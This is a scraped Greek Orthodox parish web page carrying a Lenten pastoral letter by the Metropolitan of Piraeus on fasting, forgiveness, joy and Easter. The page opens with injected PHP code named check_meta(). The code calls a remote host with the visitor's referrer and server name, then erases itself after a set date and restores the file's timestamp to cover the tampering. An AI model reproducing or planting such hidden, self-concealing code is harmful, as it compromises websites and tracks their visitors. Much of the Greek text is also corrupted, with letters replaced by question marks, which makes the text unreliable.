check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732960){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Create PDF Recommend Print

Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Ο Σεβασμιώτατος Μητροπολίτης Πειραιώς κ.κ.Σεραφείμ, για την Κυριακή της Ορθοδοξίας

?γαπητοί Πατέρες καί ?δελφοί,

Βρισκόμαστε, στά πρόθυρα α?τ?ς τ?ς ε?λογημένης περιόδου πού ε?ναι ? πιό ?μορφη περίοδος το? ?τους, ? πιό κατανυκτική ? πιό πλούσια σέ πνευματικές ?φορμές καί ε?καιρίες. Τό ?πόγευμα ? λειτουργική ?τμόσφαιρά της θά γίνει κατανυκτικότερη ?ξωτερικά? ?λλάζει καί ? χαρακτήρας τ?ν ?κολουθι?ν: ο? γνωστές καθημερινές Θε?ες Λειτουργίες θά δώσουν τή θέση τους στίς ?κτακτες Λειτουργίες τ?ν Προηγιασμένων Δώρων, κάθε Τετάρτη καί Παρασκευή.

 

?πιπλέον, ο? Κατανυκτικοί ?σπερινοί, ο? Χαιρετισμοί, τά Μεγάλα ?πόδειπνα, ? Μέγας Κανών, ? ?διάζων χαρακτήρας τ?ς καθεμι?ς ?πό τ?ς ?ορτές πού ?χουμε μπροστά μας ε?ναι καί πάλι μιά α?σθηση καί βίωσι το? ο?ρανο?. Καί ?λα α?τά τά δένει ? α?στηρή νηστεία, πού ?ποτελε? τή σφραγίδα τ?ς ταυτότητας α?τ?ς τ?ς περιόδου.

Π?ς λοιπόν θά μπορούσαμε α?τή τή στιγμή νά βοηθήσουμε τήν ψυχή μας, πού ε?ναι δύσκαμπτη καί κλειστή, νά ?νοίξει, νά γίνει πιό ε?έλικτη, πιό ε?κίνητη περί τά πνευματικά, καί νά μπορέσει νά θέσει σέ ?φαρμογή α?τό πού ?χει ?ς ?νειρο, ?ς πόθο καί ?ς προσδοκία, ?στε νά διευκολυνθε? ? ε?σοδος τ?ς χάριτος καί τ?ς ε?λογίας το? Θεο? καί νά φανερωθε? κάποιο ?ποτέλεσμα στή ζωή μας; ?ς σταθο?με σέ τέσσερα βασικά χαρακτηριστικά, τά ?ποία προκύπτουν μέσα ?πό τήν Κυριακή α?τή τ?ς Τυροφάγου.

Τό πρώτο στοιχε?ο ε?ναι ? ?γώνας. Χρειάζεται ? ψυχή μας μιά ?πόφαση γιά ?γώνα, γιά ?ξοδο ?πό τή χαλάρωση καί τήν ε?κολία, γιά ?ντονότερη προσπάθεια, γιά ?σκηση. Νά κάνει κανείς ?,τι μπορε?, λίγο παραπάνω ?π' ?σο νομίζει ?τι μπορε?. Νά τεντώσει τίς δυνατότητές του πέρα ?πό τά γνωστά ?ριά του. Νά μπορέσει νά στοχεύσει στό τί ?κριβ?ς χρειάζεται ? ψυχή του. ?κούσαμε ?τι: «Τό στάδιο τ?ν ?ρετ?ν ?νέωκται». ?ναφέρεται σέ ?να στάδιο ?ρετ?ν καί ?γώνων πού ?δη ?χει ?νοίξει καί προτρέπει ?ποιον θέλει, χωρίς ?ναστολές, νά ε?σέλθει: «ο? βουλόμενοι ?θλ?σαι ε?σέλθετε». Καί παρακάτω χρησιμοποιε? τή λέξη «?ντιμαχησόμεθα», πού ?κφράζει τό μαχητικό φρόνημα μέ τό ?πο?ο πρέπει νά ?νταποδώσουμε τίς ?πιθέσεις πού δεχόμαστε, γιά νά μπορέσουμε, ?πλισμένοι μέ τά ?πλα τ?ν ?ρετ?ν νά προχωρήσουμε νικηφόρα σέ α?τό τόν ?γώνα. ? ?πλισμός τ?ν ?μερ?ν ?χει ?ς θώρακα τήν προσευχή, ?ς περικεφαλαία τήν ?λεημοσύνη, ?ς μάχαιρα τήν νηστεία. ? ?μνογράφος χρησιμοποιε? πολεμική διάλεκτο, ? ?ποία δέν ?πφείλεται σέ φιλολογική συγκυρία ? φραστικό τέχνασμα, ?λλά στό ?τι στοχεύει νά περιγράψει τό ?γωνιστικό φρόνημα μέ τό ?πο?ο κάθε πιστός καλε?ται νά ριχθε? στό στάδιο τ?ς Μεγάλης Τεσσαρακοστ?ς. Ε?ναι πολύ σημαντικό κάθε μέρα, κάθε λεπτό νά μπορε? ? καθένας μας νά τοποθετε?ται ?νώπιον το? Θεο? καί νά ?ξομολογε?ται, διακρίνοντας στό βάθος τ?ς ψυχ?ς του τά ?λαττώματα, τίς ?δυναμίες, τά πάθη ?ναντίον τ?ν ?ποίων καί πρέπει νά ?γωνισθε?. Λέγει πάλι ?να τροπάριο ?τι καλή ε?ναι ? νηστεία τ?ν «βρωμάτων», δηλαδή τ?ν τροφ?ν, ?λλά «νηστεία ?ληθής ? τ?ν κακ?ν ?λλοτρίωσις», πρ?γμα πού σημαίνει ?τι, παράλληλα μέ τόν ?γώνα τ?ς νηστείας, πρέπει νά κάνουμε καί τόν ο?σιαστικότερο ?γώνα ?ναντίον τ?ν παθ?ν μας. Καί ?χουμε ?λοι μας πάθη! Πάθη κρυμμένα, πάθη τά ?ποία δέν θέλουμε νά ?μολογο?με ο?τε στόν ?αυτό μας, πάθη καί ?δυναμίες πού βασανίζουν τήν ψυχή μας καί πού τήν κρατο?ν δέσμια, ?παγορεύοντάς της νά ?πελευθερωθε? καί νά πετάξει λίγο πιό ψηλά ?πό τόν κόσμο στόν ?πο?ο βρίσκεται.

Τό πρ?το λοιπόν στοιχε?ο στό ?πο?ο μ?ς καλε? ? ?κκλησία ε?ναι νά ?ντοπίσουμε τήν ?δυναμία μας καί μέ τή συνεργία καί βοήθεια τ?ν πνευματικ?ν μας, μέσα στίς στιγμές τ?ς ?συχίας μας, νά διακρίνει ? καθένας μας τό δικό του πάθος - ?χι το? διπλανο? του ?πό τό ?πο?ο θέλει ? ?διος νά ?παλλαγε?, - ?λλά τή δική του ?μαρτία, α?τή πού καί στόν ?αυτό του ?κόμη ?ρνε?ται νά ?μολογήσει.

? ε?καιρία τ?ς νηστείας ε?ναι μεγάλη. Δι' α?τ?ς, ? ?κκλησία μ?ς ε?σάγει σέ ?ναν ?γώνα ?ναντίον τ?ς φύσεώς μας, διότι ?χουμε ?λοι τήν τάση τ?ς λαιμαργίας, ?χουμς σκιρτήματα πολύ βαθειά φυτευμένα, πού πραγματικά παγιδεύουν τή βούληση, παραλύουν τή θέληση καί πνίγουν τήν ?λευθερία μας. Α?τός ε?ναι ? λόγος πού ? νηστεία ε?ναι τόσο ριζωμένη στή ζωή, τήν παράδοση καί τήν ?μπειρία τ?ς ?κκλησίας μας. Νά λοιπόν μιά καλή ε?καιρία νά ?ρχίσουμε τόν ?γώνα α?τ?ς τ?ς περιόδου ?πό τή νηστεία, ?πό κάτι πού ε?ναι ?σως ?ξωτερικό, ε?ναι ?μως καί τόσο σημαντικό.

Τό δεύτερο στοιχε?ο στό ?πο?ο θά ?πρεπε νά σταθο?με ε?ναι ? συγχώρεση. Α?τό πού ζητάει ? ?κκλησία ?πό μ?ς ε?ναι ? διπλή συγχώρηση;μέ τούς ?δελφούς μας καί μέ τόν Θεό.

Τί θά πε? συγχώρηση; Συγχώρηση θά πε? νά ?νοίξουμε τήν πόρτα τ?ς ψυχ?ς μας γιά νά φιλοξενηθε? στό χ?ρο της ? συνανθρωπός μας, ? γείτονάς μας, ? συγγενής μας, ? γυναίκα ? ? ?ντρας μας, τά παιδιά μας, τά ?δέλφια μας, ο? συνάνθρωποί μας - ?ποιος μ?ς περιβάλλει καί ?ποιος ?νδεχομένως μ?ς δημιουργε? κάποια δυσκολία στή σχέση μας μαζί του. Ε?ναι τόσο δύσκολο πολλές φορές νά ?χουμε τήν ?ρχοντιά νά ζητήσουμε ο? ?διοι συγγνώμην! ? νά ?χουμε τό θάρρος νά δεχθο?με τήν α?τηση τ?ς συγγνώμης ?πό τόν ?λλο καί νά διαγράψουμμε α?τό πού μ?ς χωρίζει, α?τό πού μ?ς πικραίνει, α?τό πού μ?ς κάνει ?χι μόνο νά μή νιώθουμε τόν διπλανό μας ?ς ?δελφό, ?λλά νά μήν τόν νιώθουμε κ?ν ?ς πλησίον.

«Συν - χώρεση»? α?τό τό «σύν - » σημαίνει «μαζί». Τόν ?γώνα α?τόν πρέπει νά τόν κάνουμε, ?πως μ? λέει ? ?κκλησία μας, μέσα ?πό μιά ζωή συμφιλίωσης - κι ?δ? ?πάρχει τό «συν - ». ? συγχώρηση ?δηγε? στή συμφιλίωση, ? συμφιλίωση στήν συναδέλφωση, ? συναδέλφωση στή συμπόρευση, στή συνάθληση, καί τέλος, σ' α?τό πού ? ?πόστολος Πα?λος περιγράφει, στήν ε?λογημένη κατάσταση το? νά γίνουμε σύμψυχοι, «τό ?ν φρονο?ντες» (Φιλ. 2,2), «?ν μι? ψυχ? συναθλο?ντες» (Φιλ. 1,27)? νά ε?μαστε ?νωμένοι στό πρόσωπο το? Θεο? καί τ?ς ?γάπης πού Α?τός δίδαξε καί ?νέπνευσε σ' ?μ?ς.

«Συγχώρηση», «συμφιλίωση», «συναδελφωση», «συμπόρευση», «συνάθληση», καί ? κατάσταση το? νά ε?μαστε «σύμψυχοι», ?μόφρονες καί, ?κόμη περισσότερο, ?μόψυχοι, μέ μιά ψυχή, ?νωμένοι στό ?νομα το? Χριστο?.

?πάρχει ?μως καί μία ?λλη κλίμακα ?ξαγιασμο? καί σωτηρίας, ? ?ποία προκύπτει ?πό μία ?λλη συγχώρηση, τή συγχώρεσή μας ?πό τόν Θεό, ? μετάνοια πού λένε τά τροπάρια. Πόσα δέν ?χουμε κάνει πού μ?ς ?πομακρύνουν ?πό Α?τόν! Πόσα δέν ?χουμε κάνει πού μ?ς κάνουν δύσκολη τήν α?σθηση τ?ς παρουσίας Του στή ζωή μας! ?με?ς φτα?με πού δημιουργο?με τήν ?μίχλη τ?ν παθ?ν μας, ?με?ς φτα?με πού ?χουμε α?τή τή θολούρα τ?ν ?δυναμι?ν μας. Μ?ς λείπει ? ?ρχοντιά καί ? ?λευθερία τ?ς ?μολογίας τ?ς ?μαρτίας μας.

Ο? ε?αγγελικές περικοπές τ?ν τρι?ν τελευταίων Κυριακ?ν, ? πρώτη το? Τελώνου καί Φαρισαίου, ? δεύτερη το? ?σώτου καί ? τρίτη τ?ς Κρίσεως, ?χουν μεταξύ τους ?να κοινό σημε?ο: παρουσιάζουν τήν ?μαρτία ?ς ?μαρτία ?νώπιον το? Θεο?. Βλέπουμε τόν Τελώνη νά πηγαίνει στό ναό γιά νά ζητήσει συγγνώμην καί νά ?πευθύνεται στόν Θεό λέγοντας: «? Θεός ?λάσθητί μοι τ? ?μαρτωλ?» (Λουκ. 18,13). ?ν? ?ς Τελώνης ?μάρτησε ?ναντι τ?ν συνανθρώπων του, συγχώρηση ζητάει πρωτίστως ?πό τόν Θεό στόν χώρο το? ναο?.

?λλά καί ? ?σωτος: «?μαρτον ε?ς τόν ο?ρανόν καί ?νώπιόν Σου» (Λουκ. 15,21), λέει πρός τόν πατέρα του - ? πρ?τος ?ναντι το? ?ποίου ?μάρτησα δέν ε?σαι ?σύ, ? πατέρας μου, πού κατασπατάλησα τήν περιουσία σου, ?λλά ε?ναι ? Θεός το? ?ποίου κατέχρανα τήν ε?κόνα, λέρωσα καί σπίλωσα τήν τίμια ε?κόνα μέ τήν ?ποία περιποιήθηκε τήν ?παρξη καί τήν ?πόστασή μου.

Καί στήν τρίτη παραβολή, τήν παραβολή τ?ς Κρίσεως, βλέπουμε ? ?διος ? Θεός νά λέει: «?πείνασα καί ο?κ ?δώκατέ μοι φαγε?ν, ?δίψησα καί ο?κ ?ποτίσατέ με» (Ματθ. 25,42) - α?τό πού δέν κάνατε στόν συν?νθρωπό σας δέν τό κάνατε σέ μένα? στό πρόσωπο το? ?δελφο? ε?μαι ?γώ, ?ρα ? ?μαρτία σας ε?ναι ?μαρτία πού ?νάγεται σέ μένα.

Καί ο? δικές μας ?μαρτίες, ?γαπητοί μου ?δελφοί, πού ?χουν ?ς βάση τους τόν ?γωϊσμό καί τή φιλαυτία, τή φιληδονία, τή φιλοϋλία, τή φιλαργυρία, τόν ?λισμό, τήν πνευματική μας μυωπία, ε?ναι ?μαρτίες πού καταστρέφουν καί καταβροχθίζουν τίς σχέσεις μας μέ τούς συνανθρώπους καί τούς ?δελφούς μας. ?ποτελο?ν ?λες μαζί τή μία ?μαρτία πού διαπράττουμε ?νώπιον το? Θεο?, ? ?πο?ος μ?ς ?βαλε τή σφραγίδα τ?ς ε?κόνας Του καί μ?ς ?δωσε τή δυνατότητα νά φθάσουμε μέ τή χάρι Του στήν ?μοίωσή Του. Κι ?με?ς ?μαυρώσαμε καί τό κατ' ε?κόνα καί τό καθ' ?μοίωσιν. ?τσι, ζο?με σ' α?τή τή ζωώδη κατάσταση τ?ς καθημερινότητάς μας. Δέν μεταμορφώνεται ? ?αυτός μας, δέν ?ναγενν?ται, δέν ζε? κάπως πνευματικά, δέν λειτουργε? ?ς συγγενής το? ?ληθινο? Θεο?.

Στεκόμαστε λοιπόν ?νώπιον το? Θεο? καί ζητο?με α?τή τή δεύτερη συγχώρηση. ?φο? συμφιλιωθο?με μέ τούς ?δελφούς μας, μέ τούς διπλανούς μας, καί α?σθανθο?με λιγάκι ?τι γκρεμίζονται τά τείχη πού μ?ς χωρίζουν, προχωρο?με στήν ?λλη συμφιλίωση, τή συμφιλίωση μέ τό πρόσωπο το? Θεο? καί Πατέρα μας. Α?τή ? συμφιλίωση, α?τή ? συγχώρηση βάζει τόν Θεό στόν χ?ρο τ?ς ψυχ?ς μας. ?τσι, ?ρχίζουν νά ?μφανίζονται τά ?ποτυπώματα τ?ς ?ποκεκαλυμμένης ?λήθειάς Του μέσα στήν καρδιά μας, νά ?κφράζονται ο? ?σωτερικοί, ο? πνευματικοί «?λάλητοι στεναγμοί» τ?ς παρουσίας Του. ?τσι, ε?σέρχεται ? χάρις Του, κοινωνε?ται ? θεία φύση Του καί καθίσταται ?ρατό τό πρόσωπό Του.

?πάρχουν ?λλα δύο «συν - » τ?ς «συν - χώρησης». Λέγεται στό βιβλίο το? Δευτερονομίου (καί περιγράφεται ?ναλυτικά ?πό τόν ?γιο Νικόδημο τόν ?γιορείτη) πώς σέ α?τό τόν ?γώνα πού κάνουμε ζητο?με καί ?χουμε ?νάγκη ?πό τή συμπαράσταση το? ?διου το? Θεο?. ? δική μας α?τηση συγγνώμης ?πό Α?τόν Τόν καθιστ? «συνεκπολεμο?ντα» (πρβλ. Δευτ. 1,3) μαζί μας, το? ?πιτρέπει. Α?τός νά πολεμ? γιά ?μ?ς καί νά φέρνει σέ πέρας τόν δικό μας ?γώνα.

Κι ?κόμη παραπάνω, ?χουμε ?νάγκη νά γινόμαστε «συμπορευόμενοι» μέ Α?τόν. ?χι νά συμπορεύεται ? Θεός στόν δικό μας ?γώνα - α?τό ε?ναι τό προηγούμενο - ?λλά νά συμπορευόμαστε ?με?ς στή δική Του πορεία καί ?δό. Τό βράδυ τ?ς Κυριακ?ς τ?ν Βαΐων θά ψάλουμε: «Δε?τε ο?ν καί ?με?ς κεκαθαρμέναις διανοίαις συμπορευθ?μεν Α?τ? καί συσταυρωθ?μεν καί νεκρωθ?μεν δι' Α?τόν τα?ς το? βίου ?δονα?ς». Α?τή ? συγχώρηση πού θά ζητήσουμε ?πό τόν Θεό θά μ?ς δώσει μέν τήν α?σθηση ?τι στόν ?γώνα μας καί στήν πορεία μας ε?ναι καί Α?τός συνοδοιπόρος, ταυτόχρονα ?μως θά μ?ς ?δηγήσει καί στό νά μπορέσουμε κι ?με?ς νά πορευθο?με τή δική Του ?δό? νά συσταυρωθο?με, νά ζήσουμε τό πάθος Του, γιά νά μπορέσουμε νά συζήσουμε μαζί Του καί νά συναντηθο?με.

?κτός ?πό τόν ?γώνα καί τή συγχώρηση, ?πάρχει καί ?να τρίτο στοιχε?ο πού προσδιορίζει τόν χαρακτήρα α?τ?ς τ?ς ε?λογημένης περιόδου τ?ς Μεγάλης Τεσσαρακοστ?ς. Ε?ναι τό στοιχε?ο τ?ς χαρ?ς. Ξεκινο?με τήν προετοιμασία μας γιά τό Πάσχα μέ διάθεση ?γωνιστική. Ξεκινο?με μέ τήν ?πιθυμία τ?ς συμφιλίωσης μέ τούς ?δελφούς καί τ?ς συγχώρησης μέ τόν Θεό. ? ?γώνας ?μως καί ? συγχώργηση δέν μπορο?ν νά τελεσφορήσουν ?ν ? καρδιά μας διατηρε? τή μιζέρια καί τήν κακομοιριά της, ?ν δέν κυριαρχε?ται ?πό μεγάλη καί ?σωτερική χαρά.

«Τόν τ?ς Νηστείας καιρόν, φαιδρ?ς ?παρξώμεθα, πρός ?γ?νας πνευματικούς ?αυτούς ?ποβάλλοντες», λέγει τό τροπάριο - α?τό τόν ?γώνα μέ χαρά νά τόν ξεκινήσουμε. Σέ ?λλο δέ σημείο ?λεγε: «?λαμψεν ? χάρις σου Κύριε, ?λαμψεν ? φωτισμός τ?ν ψυχ?ν ?μ?ν», ?φθασε ? λάμψη καί ? φωτισμός Του στήν ψυχή μας. Γι' α?τό προτρεπόμαστε νά ε?μαστε «πνευματικ?ς ?ναγαλλιώμενοι» - γεμάτοι ?σωτερική καί πνευματική χαρά - καί ?τσι νά ξεκινήσουμε. ?λλά καί τά τροπάρια τ?ς ?πόμενης ?βδομάδος ?πογραμμίζουν τήν ?νάγκη νά διεξάγουμε α?τό τόν ?γώνα καί νά διεξέλθουμε τήν πορεία α?τή τ?ς Μεγάλης Τεσσαρακοστ?ς χαρούμενα, δοξολογικά, ?λπιδοφόρα.

Θά κλείσουμε μέ ?να τέταρτο γνώρισμα τ?ς Τεσσαρακοστ?ς: τόν στόχο τ?ς ?ναστάσεως. Λέγει ?να τροπάριο: «?ξιωθείημεν κατιδε?ν τό ?γιον Πάσχα». Τά τροπάρια σήμερα, ?πό τήν πρώτη μέρα, μιλο?ν γιά τό τέλος τ?ς περιόδου, γιά τό Πάσχα. ?να ?λλο λέγει νά «καταντήσωμεν» στήν ?νάσταση το? Χριστο?, νά φθάσουμε δηλαδή ε?λογημένα στό τέλος καί στόν στόχο μας, πού ε?ναι ? ?ορτασμός τ?ς ?ναστάσεως το? Χριστο?? ?χι ?σφαλ?ς μέ ?ξωτερικούς μόνο τρόπους ?λλά κυρίως μέ πνευματικούς - νά ?πιτρέψουμε στόν ?αυτό μας νά ζήσει α?τή τή χαρά καί τή δόξα το? ?ναστάντος Χριστο?.

?χουμε μπροστά μας μιά ?κπληκτική ε?καιρία, μέ μοναδικές ?φορμές καί μέ ?μορφες δυνατότητες, γιά νά μπορέσει ? καθένας μας νά ξεκινήσει φιλότιμα καί ?σο πιό ?ντονα μπορε? α?τό τόν ?γώνα τ?ς νηστείας τ?ν «βρωμάτων», τ?ν τροφ?ν, ?λλά καί τ?ς νηστείας τ?ν παθ?ν? νά συγχωρεθο?με μεταξύ μας καί νά συμφιλιωθο?με, νά μή θεωρο?με ?τι ? ?λλος ε?ναι α?τός πού χρησιμοποιε? ? διάβολος ?ναντίον μας, ?λλά ?τι ε?ναι, ?κόμη καί μέ τά ?λαττώματά του, α?τός πού φέρνει ? Θεός στόν δρόμο καί στήν πορεία μας. Καί ?τσι ?γκαλιασμένοι, ?νωμένοι καί σύμψυχοι, ?φο? ζητήσουμε καί τή συγγνώμη το? Θεο?, νά φθάσουμε γεμάτοι χαρά στόν στόχο μας, πού ε?ναι ? βίωση τ?ς ε?λογίας τ?ς ?ναστάσεως.

Σ?ς ε?χομαι, ?γαπητοί μου ?δελφοί, ? Θεός πράγματι νά ε?ναι περών α?τές τίς μέρες στή ζωή μας - στή ζωή ?λων! - νά συνεκπολεμε? μαζί μας καί νά φέρνει ε?ς πέρας τόν ?γώνα μας. Καί καθώς θά περν?νε ο? ?βδομάδες καί θά πλησιάζουμε «?γγύτερον ? ?τε ?πιστεύσαμεν», ? ?τε ξεκινήσαμε τόν ?γώνα μας πρός τή βασιλεία το? Θεο?, νά νιώθουμε ?δη τήν α?ρα τ?ς παρουσίαςτο? ?ναστάντος Χριστο? στή ζωή μας.

Καλή καί ε?λογημένη Τεσσαρακοστή!

Ο ΜΗΤΡΟΠΟΛΙΤΗΣ ΣΑΣ

+ ? Πειραι?ς ΣΕΡΑΦΕΙΜ

 

Παντρεύεστε;

apokatastash steghs

Βαπτίζετε το παιδί σας;

Γίνεσται ανάδοχος;